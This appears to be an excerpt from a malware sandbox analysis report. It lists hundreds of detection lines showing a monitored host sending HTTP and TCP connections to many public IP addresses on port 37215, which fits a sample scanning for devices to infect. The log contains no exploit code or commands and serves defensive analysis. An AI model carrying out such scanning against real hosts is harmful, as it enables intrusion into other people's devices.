Source: unknown	Network traffic detected: HTTP traffic on port 42852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36164 -> 37215

Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 2.138.219.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 171.189.230.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.15.250.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.82.231.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.102.235.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.243.78.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 222.142.83.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.95.7.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.236.40.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.121.143.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.219.67.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.147.162.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.55.124.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 196.207.169.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.134.51.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.190.123.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.51.252.216:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.59.74.157:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.37.124.216:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 182.53.203.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.252.179.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.87.117.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 67.173.236.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 164.63.63.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.247.173.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 92.28.110.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.251.68.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 136.209.131.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 60.255.178.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.37.11.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.171.29.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.52.238.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.205.131.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.10.149.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 38.93.44.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.189.13.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.206.139.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 184.46.233.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.194.219.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.91.38.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.220.82.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 107.106.86.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.190.55.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.13.177.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 99.216.115.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 177.186.243.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.183.144.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.140.10.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.42.176.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.237.103.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 147.211.62.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.108.49.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.102.148.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 195.22.164.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.75.43.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.176.187.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.68.112.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 110.208.30.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.115.41.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.129.37.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.106.91.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.251.247.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.88.34.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 168.234.4.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.122.220.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.184.88.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 130.233.217.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.169.67.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.169.17.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 115.105.251.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 103.20.177.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 61.43.155.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.169.248.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.60.145.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.53.76.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.124.18.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.178.100.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.40.23.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.88.176.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.187.148.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.89.33.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.143.18.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.78.39.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 123.236.6.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.88.238.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.133.254.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.148.120.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.6.248.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 191.150.229.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.210.198.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 159.97.190.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.84.67.216:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 113.77.151.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.130.209.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.226.213.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.190.3.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 200.89.131.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.179.175.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 222.239.93.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 57.64.230.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.75.77.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.253.51.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.102.172.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.133.24.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.64.45.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.157.109.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.203.23.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.206.8.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.103.193.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.62.255.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.118.161.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 168.204.229.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 13.191.210.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.251.239.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 34.114.172.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.39.220.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 133.178.29.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.81.182.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.113.100.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.121.169.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.97.234.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.84.81.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.136.241.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.151.182.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.130.235.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.138.22.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.177.87.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.227.113.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.229.42.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.79.113.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 179.178.208.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.43.214.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.180.101.63:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.221.227.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 77.89.16.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.251.61.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.92.13.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.94.14.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.81.68.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.83.5.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 71.115.192.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 148.35.167.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.51.110.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.219.12.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.67.20.98:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.114.115.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.118.102.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.253.96.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.185.58.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 84.84.190.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.82.15.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.35.116.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.165.0.32:37215
